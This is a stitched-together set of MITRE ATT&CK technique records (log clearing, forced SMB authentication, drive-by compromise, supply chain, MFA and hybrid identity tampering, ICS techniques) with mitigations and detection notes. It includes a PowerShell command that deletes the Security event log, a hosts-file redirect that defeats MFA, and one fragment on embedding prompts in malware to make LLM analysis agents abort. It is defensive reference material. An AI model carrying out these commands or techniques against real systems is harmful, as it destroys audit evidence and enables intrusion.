For example, adversaries may use the PowerShell command `Remove-EventLog -LogName Security` to delete the Security EventLog and after reboot, disable future logging. Note: events may still be generated and logged in the.evtx file between the time the command is run and the reboot.\n\nAdversaries may also attempt to clear logs by directly deleting the stored log files within `C:\\Windows\\System32\\winevt\\logs\\`.\n\n**Classification.** - Tactics: defense-impairment\n- Platforms: Windows\n- Sub-technique of: T1685 Disable or Modify Tools - Adversaries may disable, degrade, or tamper with security tools or applications (e.g., endpoint detection and response (EDR) tools, intrusion detection systems (IDS), antivirus, logging agents, sensors, etc.) to impair or reduce visibility of defensive capabilities.\n\n**Mitigations.** - **Remote Data Storage**: Remote Data Storage focuses on moving critical data, such as security logs and sensitive files, to secure, off-host locations to minimize unauthorized access, tampering, or destruction by adversaries. By leveraging remote storage solutions, organizations enhance the protection of forensic evidence, sensitive information, and monitoring data. This mitigation can be implemented through the following measures:\n- **Encrypt Sensitive Information**: Protect sensitive information at rest, in transit, and during processing by using strong encryption algorithms.

Depending on the type of error, the LLM may abort analysis, truncate, or refuse to continue. Adversaries may also embed prompts in malware intended to stop agents or systems from analyzing the malware.\n\n**Classification.** - Tactics: defense-impairment\n- Platforms: Windows, SaaS\n- Sub-technique of: T1685 Disable or Modify Tools - Adversaries may disable, degrade, or tamper with security tools or applications (e.g., endpoint detection and response (EDR) tools, intrusion detection systems (IDS), antivirus, logging agents, sensors, etc.) to impair or reduce visibility of defensive capabilities.\n\n**Mitigations.** - **Execution Prevention**: Prevent the execution of unauthorized or malicious code on systems by implementing application control, script blocking, and other execution prevention mechanisms. This ensures that only trusted and authorized code is executed, reducing the risk of malware and unauthorized actions. This mitigation can be implemented through the following measures:\n- **Restrict File and Directory Permissions**: Restricting file and directory permissions involves setting access controls at the file system level to limit which users, groups, or processes can read, write, or execute files.

IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern.\n\nAdversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows Dynamic Data Exchange or Component Object Model. Linux environments support several different IPC mechanisms, two of which being sockets and pipes. Higher level execution mediums, such as those of Command and Scripting Interpreters, may also leverage underlying IPC mechanisms. Adversaries may also use Remote Services such as Distributed Component Object Model to facilitate remote IPC execution.\n\n## Reference: ATT&CK T1187 Forced Authentication\n**ATT&CK T1187 Forced Authentication (full record).** Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept.\n\nThe Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources.\n\nWeb Distributed Authoring and Versioning (WebDAV) is also typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443.\n\nAdversaries may take advantage of this behavior to gain access to user account hashes through forced SMB/WebDAV authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. Template Injection), or place a specially crafted file on navigation path for privileged accounts (e.g..SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource, it will attempt authentication and send information, including the user's hashed credentials, over SMB to the adversary-controlled server. With access to the credential hash, an adversary can perform off-line Brute Force cracking to gain access to plaintext credentials.\n\nThere are several different ways this can occur. Some specifics from in-the-wild use include:\n\n* A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. Template Injection). The document can include, for example, a request similar to `file[:]//[remote address]/Normal.dotm` to trigger the SMB request.\n* A modified.LNK or.SCF file with the icon filename pointing to an external reference such as `\\\\[remote address]\\pic.png` that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. […]\n\n## Reference: ATT&CK T1189 Drive-by Compromise\n**ATT&CK T1189 Drive-by Compromise (full record).** Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. Multiple ways of delivering exploit code to a browser exist (i.e., Drive-by Target), including:\n\n* A legitimate website is compromised, allowing adversaries to inject malicious code\n* Script files served to a legitimate website from a publicly writeable cloud storage bucket are modified by an adversary\n* Malicious ads are paid for and served through legitimate ad providers (i.e., Malvertising)\n* Built-in web application interfaces that allow user-controllable content are leveraged for the insertion of malicious scripts or iFrames (e.g., cross-site scripting)\n\nBrowser push notifications may also be abused by adversaries and leveraged for malicious code injection via User Execution. By clicking \"allow\" on browser push notifications, users may be granting a website permission to run JavaScript code on their browser.\n\nOften the website used by an adversary is one visited by a specific community, such as government, a particular industry, or a particular region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is often referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring.\n\nTypical drive-by compromise process:\n\n1. A user visits a website that is used to host the adversary controlled content.\n2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. The user may be required to assist in this process by enabling scripting, notifications, or active website components and ignoring warning dialog boxes.\n3. Upon finding a vulnerable version, exploit code is delivered to the browser.\n4. If exploitation is successful, the adversary will gain code execution on the user's system unless other protections are in place. In some cases, a second visit to the website after the initial scan is required before exploit code is delivered.\n\nUnlike Exploit Public-Facing Application, the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ. […]\n\n## Reference: ATT&CK T1190 Exploit Public-Facing Application\n**ATT&CK T1190 Exploit Public-Facing Application (full record).** Adversaries may attempt to exploit a weakness in an Internet-facing host or system to initially access a network. The weakness in the system can be a software bug, a temporary glitch, or a misconfiguration.\n\nExploited applications are often websites/web servers, but can also include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other system with Internet-accessible open sockets. On ESXi infrastructure, adversaries may exploit exposed OpenSLP services; they may alternatively exploit exposed VMware vCenter servers. Depending on the flaw being exploited, this may also involve Exploitation for Stealth or Exploitation for Client Execution.\n\nIf an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs (e.g., via the Cloud Instance Metadata API), exploit container host access via Escape to Host, or take advantage of weak identity and access management policies.\n\nAdversaries may also exploit edge network infrastructure and related appliances, specifically targeting devices that do not support robust host-based defenses.\n\nFor websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.\n\n**Classification.** - Tactics: initial-access\n- Platforms: Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows\n\n**Mitigations.** - **Application Isolation and Sandboxing**: Application Isolation and Sandboxing refers to the technique of restricting the execution of code to a controlled and isolated environment (e.g., a virtual environment, container, or sandbox).

The goal is to contain threats and minimize their impact. This mitigation can be implemented through the following measures:\n- **Filter Network Traffic**: Employ network appliances and endpoint software to filter ingress, egress, and lateral network traffic. […]\n\n## Reference: ATT&CK T1195 Supply Chain Compromise\n**ATT&CK T1195 Supply Chain Compromise (full record).** Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.\n\nSupply chain compromise can take place at any stage of the supply chain including:\n\n* Manipulation of development tools\n* Manipulation of a development environment\n* Manipulation of source code repositories (public or private)\n* Manipulation of source code in open-source dependencies\n* Manipulation of software update/distribution mechanisms\n* Compromised/infected system images (removable media infected at the factory)\n* Replacement of legitimate software with modified versions\n* Sales of modified/counterfeit products to legitimate distributors\n* Shipment interdiction\n\nWhile supply chain compromise can impact any component of hardware or software, adversaries looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels. Adversaries may limit targeting to a desired victim set or distribute malicious software to a broad set of consumers but only follow up with specific victims. Popular open-source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency.\n\nIn some cases, adversaries may conduct “second-order” supply chain compromises by leveraging the access gained from an initial supply chain compromise to further compromise a software component. This may allow the threat actor to spread to even more victims.\n\n**Classification.** - Tactics: initial-access\n- Platforms: Linux, Windows, macOS, SaaS\n\n**Sub-techniques.** - T1195.001 Compromise Software Dependencies and Development Tools: Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise.\n- T1195.002 Compromise Software Supply Chain: Adversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise.\n- T1195.003 Compromise Hardware Supply Chain: Adversaries may manipulate hardware components in products prior to receipt by a final consumer for the purpose of data or system compromise.

Rather than relying solely on known signatures, this approach leverages heuristics, machine learning, and real-time monitoring to identify anomalous patterns indicative of an attack. This mitigation can be implemented through the following measures:\n\nSuspicious Process Behavior:\n\n- Implementation: Use Endpoint Detection and Response (EDR) tools to monitor and block processes exhibiting unusual behavior, such as privilege escalation attempts.\n- Use Case: An attacker uses a known vulnerability to spawn a privileged process from a user-level application. The endpoint tool detects the abnormal parent-child process relationship and blocks the action.\n\nUnauthorized File Access:\n\n- Implementation: Leverage Data Loss Prevention (DLP) or endpoint tools to block processes attempting to access sensitive files without proper authorization.\n- Use Case: A process tries to read or modify a sensitive file located in a restricted directory, such as /etc/shadow on Linux or the SAM registry hive on Windows. The endpoint tool identifies this anomalous behavior and prevents it.\n\nAbnormal API Calls:\n\n- Implementation: Implement runtime analysis tools to monitor API calls and block those associated with malicious activities.\n- Use Case: A process dynamically injects itself into another process to hijack its execution.

The endpoint detects the anomalous memory write operation and halts the process.\n\n## Application Isolation and Sandboxing\nApplication Isolation and Sandboxing refers to the technique of restricting the execution of code to a controlled and isolated environment (e.g., a virtual environment, container, or sandbox). This method prevents potentially malicious code from affecting the rest of the system or network by limiting access to sensitive resources and critical operations. The goal is to contain threats and minimize their impact. This mitigation can be implemented through the following measures:\n\nBrowser Sandboxing:\n\n- Use Case: Implement browser sandboxing to isolate untrusted web content and prevent malicious web pages or scripts from accessing sensitive system resources or initiating unauthorized downloads.\n- Implementation: Use browsers with built-in sandboxing features (e.g., Google Chrome, Microsoft Edge) or deploy enhanced browser security frameworks that limit the execution scope of active content. Consider controls that monitor or restrict script-based file generation and downloads commonly abused in evasion techniques like HTML smuggling.\n\nApplication Virtualization:\n\n- Use Case: Deploy critical or high-risk applications in a virtualized environment to ensure any compromise does not affect the host system.\n- Implementation: Use application virtualization platforms to run applications in isolated environments.\n\nEmail Attachment Sandboxing:\n\n- Use Case: Route email attachments to a sandbox environment to detect and block malware before delivering emails to end-users.\n- Implementation: Integrate security solutions with sandbox capabilities to analyze email attachments.\n\nEndpoint Sandboxing:\n\n- Use Case: Run all downloaded files and applications in a restricted environment to monitor their behavior for malicious activity.\n- Implementation: Use endpoint protection tools for sandboxing at the endpoint level.\n\n## Software Configuration\nSoftware configuration refers to making security-focused adjustments to the settings of applications, middleware, databases, or other software to mitigate potential threats.

This mitigation can be implemented through the following measures:\n\nRemove Legacy Software:\n\n- Use Case: Disable or remove older versions of software that no longer receive updates or security patches (e.g., legacy Java, Adobe Flash).\n- Implementation: A company removes Flash Player from all employee systems after it has reached its end-of-life date.\n\nDisable Unused Features:\n\n- Use Case: Turn off unnecessary operating system features like SMBv1, Telnet, or RDP if they are not required.\n- Implementation: Disable SMBv1 in a Windows environment to mitigate vulnerabilities like EternalBlue.\n\nControl Applications Installed by Users:\n\n- Use Case: Prevent users from installing unauthorized software via group policies or other management tools.\n- Implementation: Block user installations of unauthorized file-sharing applications (e.g., BitTorrent clients) in an enterprise environment.\n\nRemove Unnecessary Services:\n\n- Use Case: Identify and disable unnecessary default services running on endpoints, servers, or network devices.\n- Implementation: Disable unused administrative shares (e.g., C$, ADMIN$) on workstations.\n\nRestrict Add-ons and Plugins:\n\n- Use Case: Remove or disable browser plugins and add-ons that are not needed for business purposes.\n- Implementation: Disable Java and ActiveX plugins in web browsers to prevent drive-by attacks.\n\n## Principle\nAgainst T1559.002, prefer preventive controls that remove the preconditions over purely detective controls, and layer the two.\n\n## Reference: ATT&CK T1027.015 Compression\n**ATT&CK T1027.015 Compression (full record).** Adversaries may use compression to obfuscate their payloads or files. Compressed file formats such as ZIP, gzip, 7z, and RAR can compress and archive multiple files together to make it easier and faster to transfer files. In addition to compressing files, adversaries may also compress shellcode directly - for example, in order to store it in a Windows Registry key (i.e., Fileless Storage).\n\nIn order to further evade detection, adversaries may combine multiple ZIP files into one archive. This process of concatenation creates an archive that appears to be a single archive but in fact contains the central directories of the embedded archives. Some ZIP readers, such as 7zip, may not be able to identify concatenated ZIP files and miss the presence of the malicious payload.\n\nFile archives may be sent as one Spearphishing Attachment through email. Adversaries have sent malicious payloads as archived files to encourage the user to interact with and extract the malicious payload onto their system (i.e., Malicious File). However, some file compression tools, such as 7zip, can be used to produce self-extracting archives. Adversaries may send self-extracting archives to hide the functionality of their payload and launch it without requiring multiple actions from the user.\n\nCompression may be used in combination with Encrypted/Encoded File where compressed files are encrypted and password-protected.\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1027 Obfuscated Files or Information - Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.\n\n**Mitigations.** - **Antivirus/Antimalware**: Antivirus/Antimalware solutions utilize signatures, heuristics, and behavioral analysis to detect, block, and remediate malicious software, including viruses, trojans, ransomware, and spyware. […]\n\n## Reference: ATT&CK T1027.016 Junk Code Insertion\n**ATT&CK T1027.016 Junk Code Insertion (full record).** Adversaries may use junk code / dead code to obfuscate a malware’s functionality. Junk code is code that either does not execute, or if it does execute, does not change the functionality of the code. Junk code makes analysis more difficult and time-consuming, as the analyst steps through non-functional code instead of analyzing the main code. It also may hinder detections that rely on static code analysis due to the use of benign functionality, especially when combined with Compression or Software Packing.\n\nNo-Operation (NOP) instructions are an example of dead code commonly used in x86 assembly language. They are commonly used as the 0x90 opcode. When NOPs are added to malware, the disassembler may show the NOP instructions, leading to the analyst needing to step through them.\n\nThe use of junk / dead code insertion is distinct from Binary Padding because the purpose is to obfuscate the functionality of the code, rather than simply to change the malware’s signature.\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1027 Obfuscated Files or Information - Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit.

These solutions continuously monitor endpoints and systems for known malicious patterns and suspicious behaviors that indicate compromise. Antivirus/Antimalware software should be deployed across all devices, with automated updates to ensure protection against the latest threats. […]"}]}

IPC is typically used by processes to share data, communicate with each other, or synchronize execution.\n\n## Mitigations\n- **Behavior Prevention on Endpoint**: Behavior Prevention on Endpoint refers to the use of technologies and strategies to detect and block potentially malicious activities by analyzing the behavior of processes, files, API calls, and other endpoint events. Rather than relying solely on known signatures, this approach leverages heuristics, machine learning, and real-time monitoring to identify anomalous patterns indicative of an attack. This mitigation can be implemented through the following measures:\n- **Application Isolation and Sandboxing**: Application Isolation and Sandboxing refers to the technique of restricting the execution of code to a controlled and isolated environment (e.g., a virtual environment, container, or sandbox). This method prevents potentially malicious code from affecting the rest of the system or network by limiting access to sensitive resources and critical operations. The goal is to contain threats and minimize their impact. This mitigation can be implemented through the following measures:\n- **Software Configuration**: Software configuration refers to making security-focused adjustments to the settings of applications, middleware, databases, or other software to mitigate potential threats. These changes help reduce the attack surface, enforce best practices, and protect sensitive data. This mitigation can be implemented through the following measures:\n- **Disable or Remove Feature or Program**: Disable or remove unnecessary and potentially vulnerable software, features, or services to reduce the attack surface and prevent abuse by adversaries. This involves identifying software or features that are no longer needed or that could be exploited and ensuring they are either removed or properly disabled. This mitigation can be implemented through the following measures:\n\n## Detection strategies and analytics\n- **Detect Abuse of Dynamic Data Exchange (T1559.002)**\n  - Detects anomalous use of Dynamic Data Exchange (DDE) for code execution, such as Office applications (WINWORD.EXE, EXCEL.EXE) spawning command interpreters, or loading unusual modules through DDEAUTO/DDE formulas.

Adversaries may abuse email forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim’s organization to use as part of further exploits or operations. Furthermore, email forwarding rules can allow adversaries to maintain persistent access to victim's emails even after compromised credentials are reset by administrators. Most email clients allow users to create inbox rules for various email functions, including forwarding to a different recipient. These rules may be created through a local email application, a web interface, or by command-line interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.\n\nAny user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more. Adversaries may also hide the rule by making use of the Microsoft Messaging API (MAPI) to modify the rule properties, making it hidden and not visible from Outlook, OWA or most Exchange Administration tools.\n\nIn some environments, administrators may be able to enable email forwarding rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions. Adversaries that abuse such features may be able to enable forwarding on all or specific mail an organization receives.\n\n**Classification.** - Tactics: collection\n- Platforms: Linux, macOS, Office Suite, Windows\n- Sub-technique of: T1114 Email Collection - Adversaries may target user email to collect sensitive information.

Methods for performing this technique could include use of a Command and Scripting Interpreter to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals.\n\nIn cloud-based environments, adversaries may also use cloud APIs, data pipelines, command line interfaces, or extract, transform, and load (ETL) services to automatically collect data.\n\nThis functionality could also be built into remote access tools.\n\nThis technique may incorporate use of other techniques such as File and Directory Discovery and Lateral Tool Transfer to identify and move files, as well as Cloud Service Dashboard and Cloud Storage Object Discovery to identify resources in cloud environments.\n\n**Classification.** - Tactics: collection\n- Platforms: IaaS, Linux, macOS, Office Suite, SaaS, Windows\n\n**Mitigations.** - **Remote Data Storage**: Remote Data Storage focuses on moving critical data, such as security logs and sensitive files, to secure, off-host locations to minimize unauthorized access, tampering, or destruction by adversaries. By leveraging remote storage solutions, organizations enhance the protection of forensic evidence, sensitive information, and monitoring data. This mitigation can be implemented through the following measures:\n- **Encrypt Sensitive Information**: Protect sensitive information at rest, in transit, and during processing by using strong encryption algorithms. Encryption ensures the confidentiality and integrity of data, preventing unauthorized access or tampering. This mitigation can be implemented through the following measures:\n\n**Detection strategies and analytics.** - **Automated File and API Collection Detection Across Platforms**\n  - Automated execution of native utilities and scripts to discover, enumerate, and exfiltrate files and clipboard content. Focus is on detecting repeated file access, scripting engine use, and use of command-line utilities commonly leveraged by collection scripts. (telemetry: WinEventLog:Sysmon:EventCode=1, WinEventLog:Sysmon:EventCode=11)\n  - Repeated or automated access to user document directories or clipboard using shell scripts or utilities like xclip/pbpaste.

In some cases, default credentials for control system devices may be publicly available. Compromised credentials may be used to bypass access controls placed on various resources on hosts and within the network, and may even be used for persistent access to remote systems. Compromised and default credentials may also grant an adversary increased privilege to specific systems and devices or access to restricted areas of the network. Adversaries may choose not to use malware or tools, in conjunction with the legitimate access those credentials provide, to make it harder to detect their presence or to control devices and send legitimate commands in an unintended way.\n\nAdversaries may also create accounts, sometimes using predefined account names and passwords, to provide a means of backup access for persistence.\n\nThe overlap of credentials and permissions across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) and possibly between the enterprise and operational technology environments. Adversaries may be able to leverage valid credentials from one system to gain access to another system.\n\n**Classification.** - Tactics: persistence, lateral-movement\n- Platforms: Embedded, Windows, Linux, Network Devices\n\n**Mitigations.** - **Access Management**: Access Management technologies can be used to enforce authorization polices and decisions, especially when existing field devices do not provide sufficient capabilities to support user identification and authentication. These technologies typically utilize an in-line network device or gateway system to prevent access to unauthenticated users, while also integrating with an authentication service to first verify user credentials.\n- **Privileged Account Management**: Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.\n- **User Account Management**: Manage the creation, modification, use, and permissions associated to user accounts.\n- **Filter Network Traffic**: Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic. […]\n\n## Reference: ATT&CK T0860 Wireless Compromise\n**ATT&CK T0860 Wireless Compromise (full record).** Adversaries may perform wireless compromise as a method of gaining communications and unauthorized access to a wireless network. Access to a wireless network may be gained through the compromise of a wireless device. Adversaries may also utilize radios and other wireless communication devices on the same frequency as the wireless network. Wireless compromise can be done as an initial access vector from a remote distance.\n\nA Polish student used a modified TV remote controller to gain access to and control over the Lodz city tram system in Poland. The remote controller device allowed the student to interface with the trams network to modify track settings and override operator control. The adversary may have accomplished this by aligning the controller to the frequency and amplitude of IR control protocol signals. The controller then enabled initial access to the network, allowing the capture and replay of tram signals.\n\n**Classification.** - Tactics: initial-access\n- Platforms: Embedded, Windows, Linux\n\n**Mitigations.** - **Communication Authenticity**: When communicating over an untrusted network, utilize secure network protocols that both authenticate the message sender and can verify its integrity. This can be done either through message authentication codes (MACs) or digital signatures, to detect spoofed network messages and unauthorized connections.\n- **Software Process and Device Authentication**: Require the authentication of devices and software processes where appropriate. Devices that connect remotely to other systems should require strong authentication to prevent spoofing of communications. Furthermore, software processes should also require authentication when accessing APIs.\n- **Minimize Wireless Signal Propagation**: Wireless signals frequently propagate outside of organizational boundaries, which provide opportunities for adversaries to monitor or gain unauthorized access to the wireless network. To minimize this threat, organizations should implement measures to detect, understand, and reduce unnecessary RF propagation.\n- **Encrypt Network Traffic**: Utilize strong cryptographic techniques and protocols to prevent eavesdropping on network communications. […]\n\n## Reference: ATT&CK T0861 Point & Tag Identification\n**ATT&CK T0861 Point & Tag Identification (full record).** Adversaries may collect point and tag values to gain a more comprehensive understanding of the process environment. Points may be values such as inputs, memory locations, outputs or other process specific variables. Tags are the identifiers given to points for operator convenience.\n\nCollecting such tags provides valuable context to environmental points and enables an adversary to map inputs, outputs, and other values to their control processes. Understanding the points being collected may inform an adversary on which processes and values to keep track of over the course of an operation.\n\n**Classification.** - Tactics: collection\n- Platforms: Embedded, Windows, Linux, Network Devices\n\n**Mitigations.** - **Authorization Enforcement**: The device or system should restrict read, manipulate, or execute privileges to only authenticated users who require access based on approved security policies. Role-based Access Control (RBAC) schemes can help reduce the overhead of assigning permissions to the large number of devices within an ICS. For example, IEC 62351 provides examples of roles used to support common system operations within the electric power sector, while IEEE 1686 defines standard permissions for users of IEDs.\n- **Network Allowlists**: Network allowlists can be implemented through either host-based files or system hosts files to specify what connections (e.g., IP address, MAC address, port, protocol) can be made from a device. Allowlist techniques that operate at the application layer (e.g., DNP3, Modbus, HTTP) are addressed in Filter Network Traffic mitigation.\n- **Filter Network Traffic**: Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic. Perform inline allow/denylisting of network messages based on the application layer (OSI Layer 7) protocol, especially for automation protocols. Application allowlists are beneficial when there are well-defined communication sequences, types, rates, or patterns needed during expected system operations.\n- **Human User Authentication**: Require user authentication before allowing access to data or accepting commands to a device. While strong multi-factor authentication is preferable, it is not always feasible within ICS environments. […]\n\n## Reference: ATT&CK T0862 Supply Chain Compromise\n**ATT&CK T0862 Supply Chain Compromise (full record).** Adversaries may perform supply chain compromise to gain control systems environment access by means of infected products, software, and workflows. Supply chain compromise is the manipulation of products, such as devices or software, or their delivery mechanisms before receipt by the end consumer. Adversary compromise of these products and mechanisms is done for the goal of data or system compromise, once infected products are introduced to the target environment.\n\nSupply chain compromise can occur at all stages of the supply chain, from manipulation of development tools and environments to manipulation of developed products and tools distribution mechanisms. This may involve the compromise and replacement of legitimate software and patches, such as on third party or vendor websites. Targeting of supply chain compromise can be done in attempts to infiltrate the environments of a specific audience. In control systems environments with assets in both the IT and OT networks, it is possible a supply chain compromise affecting the IT environment could enable further access to the OT environment.\n\nCounterfeit devices may be introduced to the global supply chain posing safety and cyber risks to asset owners and operators. These devices may not meet the safety, engineering and manufacturing requirements of regulatory bodies but may feature tagging indicating conformance with industry standards. Due to the lack of adherence to standards and overall lesser quality, the counterfeit products may pose a serious safety and operational risk.\n\nYokogawa identified instances in which their customers received counterfeit differential pressure transmitters using the Yokogawa logo. The counterfeit transmitters were nearly indistinguishable with a semblance of functionality and interface that mimics the genuine product.\n\nF-Secure Labs analyzed the approach the adversary used to compromise victim systems with Havex. The adversary planted trojanized software installers available on legitimate ICS/SCADA vendor websites. After being downloaded, this software infected the host computer with a Remote Access Trojan (RAT).\n\n**Classification.** - Tactics: initial-access\n- Platforms: Embedded, Windows, Linux, Network Devices\n\n**Mitigations.** - **Update Software**: Perform regular software updates to mitigate exploitation risk. Software updates may need to be scheduled around operational down times. […]"}]}

Rather than relying solely on known signatures, this approach leverages heuristics, machine learning, and real-time monitoring to identify anomalous patterns indicative of an attack. This mitigation can be implemented through the following measures:\n- **Application Isolation and Sandboxing**: Application Isolation and Sandboxing refers to the technique of restricting the execution of code to a controlled and isolated environment (e.g., a virtual environment, container, or sandbox). This method prevents potentially malicious code from affecting the rest of the system or network by limiting access to sensitive resources and critical operations. The goal is to contain threats and minimize their impact. This mitigation can be implemented through the following measures:\n- **Software Configuration**: Software configuration refers to making security-focused adjustments to the settings of applications, middleware, databases, or other software to mitigate potential threats. These changes help reduce the attack surface, enforce best practices, and protect sensitive data. This mitigation can be implemented through the following measures:\n- **Disable or Remove Feature or Program**: Disable or remove unnecessary and potentially vulnerable software, features, or services to reduce the attack surface and prevent abuse by adversaries. This involves identifying software or features that are no longer needed or that could be exploited and ensuring they are either removed or properly disabled. This mitigation can be implemented through the following measures:\n\n## Reference: ATT&CK T1556.006 Multi-Factor Authentication\n**ATT&CK T1556.006 Multi-Factor Authentication (full record).** Adversaries may disable or modify multi-factor authentication (MFA) mechanisms to enable persistent access to compromised accounts.\n\nOnce adversaries have gained access to a network by either compromising an account lacking MFA or by employing an MFA bypass method such as Multi-Factor Authentication Request Generation, adversaries may leverage their access to modify or completely disable MFA defenses. This can be accomplished by abusing legitimate features, such as excluding users from Azure AD Conditional Access Policies, registering a new yet vulnerable/adversary-controlled MFA method, or by manually patching MFA programs and configuration files to bypass expected functionality.\n\nFor example, modifying the Windows hosts file (`C:\\windows\\system32\\drivers\\etc\\hosts`) to redirect MFA calls to localhost instead of an MFA server may cause the MFA process to fail. If a \"fail open\" policy is in place, any otherwise successful authentication attempt may be granted access without enforcing MFA.\n\nDepending on the scope, goals, and privileges of the adversary, MFA defenses may be disabled for individual accounts or for all accounts tied to a larger group, such as all domain accounts in a victim's network environment.\n\n**Classification.** - Tactics: defense-impairment, persistence, credential-access\n- Platforms: IaaS, Identity Provider, Linux, macOS, Office Suite, SaaS, Windows\n- Sub-technique of: T1556 Modify Authentication Process - Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts.\n\n**Mitigations.** - **User Account Management**: User Account Management involves implementing and enforcing policies for the lifecycle of user accounts, including creation, modification, and deactivation. Proper account management reduces the attack surface by limiting unauthorized access, managing account privileges, and ensuring accounts are used according to organizational policies. This mitigation can be implemented through the following measures:\n- **Audit**: Auditing is the process of recording activity and systematically reviewing and analyzing the activity and system configurations. The primary purpose of auditing is to detect anomalies and identify potential threats or weaknesses in the environment. […]\n\n## Reference: ATT&CK T1556.007 Hybrid Identity\n**ATT&CK T1556.007 Hybrid Identity (full record).** Adversaries may patch, modify, or otherwise backdoor cloud authentication processes that are tied to on-premises user identities in order to bypass typical authentication mechanisms, access credentials, and enable persistent access to accounts.\n\nMany organizations maintain hybrid user and device identities that are shared between on-premises and cloud-based environments. These can be maintained in a number of ways. For example, Microsoft Entra ID includes three options for synchronizing identities between Active Directory and Entra ID:\n\n* Password Hash Synchronization (PHS), in which a privileged on-premises account synchronizes user password hashes between Active Directory and Entra ID, allowing authentication to Entra ID to take place entirely in the cloud\n* Pass Through Authentication (PTA), in which Entra ID authentication attempts are forwarded to an on-premises PTA agent, which validates the credentials against Active Directory\n* Active Directory Federation Services (AD FS), in which a trust relationship is established between Active Directory and Entra ID\n\nAD FS can also be used with other SaaS and cloud platforms such as AWS and GCP, which will hand off the authentication process to AD FS and receive a token containing the hybrid users’ identity and privileges.\n\nBy modifying authentication processes tied to hybrid identities, an adversary may be able to establish persistent privileged access to cloud resources. For example, adversaries who compromise an on-premises server running a PTA agent may inject a malicious DLL into the `AzureADConnectAuthenticationAgentService` process that authorizes all attempts to authenticate to Entra ID, as well as records user credentials. In environments using AD FS, an adversary may edit the `Microsoft.IdentityServer.Servicehost` configuration file to load a malicious DLL that generates authentication tokens for any user with any set of claims, thereby bypassing multi-factor authentication and defined AD FS policies.\n\nIn some cases, adversaries may be able to modify the hybrid identity authentication process from the cloud. […]\n\n## Reference: ATT&CK T1556.008 Network Provider DLL\n**ATT&CK T1556.008 Network Provider DLL (full record).** Adversaries may register malicious network provider dynamic link libraries (DLLs) to capture cleartext user credentials during the authentication process. Network provider DLLs allow Windows to interface with specific network protocols and can also support add-on credential management functions. During the logon process, Winlogon (the interactive logon module) sends credentials to the local `mpnotify.exe` process via RPC. The `mpnotify.exe` process then shares the credentials in cleartext with registered credential managers when notifying that a logon event is happening.\n\nAdversaries can configure a malicious network provider DLL to receive credentials from `mpnotify.exe`. Once installed as a credential manager (via the Registry), a malicious DLL can receive and save credentials each time a user logs onto a Windows workstation or domain via the `NPLogonNotify` function.\n\nAdversaries may target planting malicious network provider DLLs on systems known to have increased logon activity and/or administrator logon activity, such as servers and domain controllers.\n\n**Classification.** - Tactics: defense-impairment, persistence, credential-access\n- Platforms: Windows\n- Sub-technique of: T1556 Modify Authentication Process - Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts.\n\n**Mitigations.** - **Restrict Registry Permissions**: Restricting registry permissions involves configuring access control settings for sensitive registry keys and hives to ensure that only authorized users or processes can make modifications. By limiting access, organizations can prevent unauthorized changes that adversaries might use for persistence, privilege escalation, or defense evasion. This mitigation can be implemented through the following measures:\n- **Audit**: Auditing is the process of recording activity and systematically reviewing and analyzing the activity and system configurations. The primary purpose of auditing is to detect 